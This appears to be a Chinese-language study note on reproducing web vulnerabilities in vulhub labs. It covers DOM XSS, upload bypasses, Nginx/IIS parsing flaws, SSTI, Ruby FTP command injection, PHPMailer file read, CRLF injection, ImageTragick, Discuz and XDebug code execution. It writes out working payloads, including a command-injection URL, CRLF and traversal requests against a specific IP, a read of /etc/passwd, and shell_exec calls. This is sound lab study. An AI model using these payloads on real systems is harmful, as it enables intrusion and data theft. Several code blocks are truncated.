DOMXSS学习
1、postMessage
postMessage 支持跨域使用,使用场景比较广泛,如支付成功、登录、退出、唤起
APP等等。
漏洞代码
1 | window.addEventListener('message',function(e){ |
poc:
1 | <div> |
2、window.name
window.name 与其他 window 对象不同,它在窗口刷新后会保留。
漏洞代码:
eval(window.name);
poc:
1 | <div> |
上传php绕过:
1.php.xxx
利用 CVE-2017-15715,上传一个包含换行符的文件。注意,只能是\x0A
,不能是\x0D\x0A
,所以我们用 hex 功能在 1.php 后面添加一个\x0A
参考 https://blog.kieng.cn/2019/01/31/468/
我们无法上传PHP后缀的文件,需要利用CVE-2013-4547我们上传一个。1.gif
,注意后面的空格,http://your-ip:8080/uploadfiles/1.gif[0x20][0x00].php`,即可发现PHP已被解析:
参考 https://github.com/vulhub/vulhub/tree/master/nginx/CVE-2013-4547
上传 shell.shtml 内容 可以实现rce
参考 https://github.com/vulhub/vulhub/tree/master/httpd/ssi-rce
Nginx的解析漏洞复现
上传一个普通文件如1.png 然后访问/1.png/.php 会解析php文件
参考 https://github.com/vulhub/vulhub/tree/master/nginx/nginx_parsing_vulnerability
- 新建一个名为“test.asp”的目录,该目录下的任何文件都作为asp程序执行(特殊符号是”/“)
- 上传名为“test.asp;.jpg”的文件,虽然该文件真正的后缀名是”.jpg”,但由于含有特殊符号“;”,仍然会被IIS作为asp程序执行。
总结参考 http://dvsx.cn/2019/07/20/wen-jian-shang-chuan-rao-guo-zi-shi-zong-jie/
Flask(Jinja2)服务端模板注入漏洞
参数name注入代码通过服务器实行代码注入
参考 https://xz.aliyun.com/t/3679
Ruby Net :: FTP模块命令注入漏洞(CVE-2017-17405)
Ruby Net :: FTP模块是一个FTP客户端,在上传和下载文件的过程中,打开本地文件时使用了open
函数。而在ruby中,open
函数是借用系统命令来打开文件,且没用过滤shell字符,导致在用户控制文件名的情况下,将可以注入任意命令。
1 | 在当前目录下启动一个ftp服务器,默认监听在`0.0.0.0:2121`端口 |
注入命令|touch${IFS}success.txt
(空格用代替${IFS}
,原因不表)
发送请求 http://139.196.143.238:7050//download?uri=ftp://139.196.143.238:2121/&file=|touch${IFS}success.txt
PHPMailer任意文件读取漏洞(CVE-2017-5223)
PHPMailer在发送邮件的过程中,会在邮件内容中寻找图片标签(<img src="...">
),并将其src属性的值提取出来作为附件。所以,如果我们能控制部分邮件内容,可以利用<img src="/etc/passwd">
将文件/etc/passwd
作为附件读取出来,造成任意文件读取漏洞。
Nginx 配置错误导致漏洞
1. CRLF注入漏洞
Nginx会将$uri
进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞。
Payload: http://your-ip:8080/%0a%0dSet-Cookie:%20a=1
,可注入Set-Cookie头。
2. 目录穿越漏洞
Nginx在配置别名(Alias)的时候,如果忘记加/
,将造成一个目录穿越漏洞。
Payload: http://139.196.143.238:8081/files../
,成功穿越到根目录:
Imagetragick 命令执行漏洞(CVE-2016–3714)
1 | ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。 |
ImageMagick 之所以支持那么多的文件格式, 是因为它内置了非常多的图像处理库, 对于这些图像处理库, ImageMagick 给它起了个名字叫做”Delegate”(委托), 每个 Delegate 对应一种格式的文件, 然后通过系统的 system() 命令来调用外部的 lib 进行处理。调用外部 lib 的过程是使用系统的 system 命令来执行的,导致命令执行的代码
发送请求 http://139.196.143.238/demo.php
或者 convert vul.jpg 2.jpg
payload:
1 | push graphic-context |
发送如下数据包:
或者直接上传poc图片
服务器上监听:
Discuz 7.x / 6.x全局变量防御绕过导致代码执行
由于php5.3.x版本里php.ini的设置里request_order
默认值为GP,导致$_REQUEST
中不再包含$_COOKIE
,我们通过在Cookie中传入$GLOBALS
来覆盖全局变量,造成代码执行漏洞。
直接找一个已存在的帖子,向其发送数据包,并在Cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
XDebug远程调试漏洞(代码执行)
XDebug的是PHP的一个扩展,用于调试PHP代码如果目标开启了远程调试模式,并设置。remote_connect_back = 1
:
1 | xdebug.remote_connect_back = 1 |
这个配置下,我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm
,目标服务器的XDebug的将会连接访问者的IP(或X-Forwarded-For
头指定的地址),并通过dbgp协议与其通信,我们通过dbgp中提供的的eval方法即可在目标服务器上执行任意PHP代码。
1 | python3 exp.py -t http://127.0.0.1:8080/index.php -c 'shell_exec('id');' |